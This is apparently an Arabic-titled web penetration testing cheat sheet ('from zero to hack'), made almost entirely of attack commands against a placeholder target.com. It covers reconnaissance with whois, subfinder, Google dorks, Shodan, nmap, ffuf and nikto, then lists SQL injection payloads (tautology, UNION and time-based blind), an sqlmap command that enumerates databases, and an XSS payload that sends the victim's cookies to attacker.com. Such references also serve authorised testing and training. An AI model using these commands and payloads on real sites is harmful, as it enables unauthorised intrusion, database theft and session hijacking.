منهجية اختبار اختراق الويب — من الصفر للاختراق

# جمع معلومات DNS
whois target.com
dig target.com ANY
subfinder -d target.com -o subdomains.txt

# البحث في Google Dorks
site:target.com filetype:pdf
site:target.com inurl:admin
site:target.com "index of /"

# Shodan للبنية التحتية
shodan search hostname:target.com

# فحص المنافذ والخدمات
nmap -sV -sC -p- --min-rate 5000 -oN scan.txt target.com

# اكتشاف المسارات الخفية
ffuf -u https://target.com/FUZZ -w /usr/share/wordlists/dirb/common.txt -fc 404

# اكتشاف النطاقات الفرعية
ffuf -u https://FUZZ.target.com -w subdomains.txt -fc 404

# تحليل الويب
whatweb -a 3 https://target.com
nikto -h https://target.com -ssl

# استخراج endpoints من JS
python3 LinkFinder.py -i https://target.com -d

-- اختبار بسيط
' OR '1'='1
' OR 1=1--
' UNION SELECT NULL,NULL,NULL--

-- Time-based blind
'; WAITFOR DELAY '0:0:5'--
' AND SLEEP(5)--

# SQL Injection مع sqlmap
sqlmap -u "https://target.com/page?id=1" --dbs --batch --level=5

# XSS Payload
<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>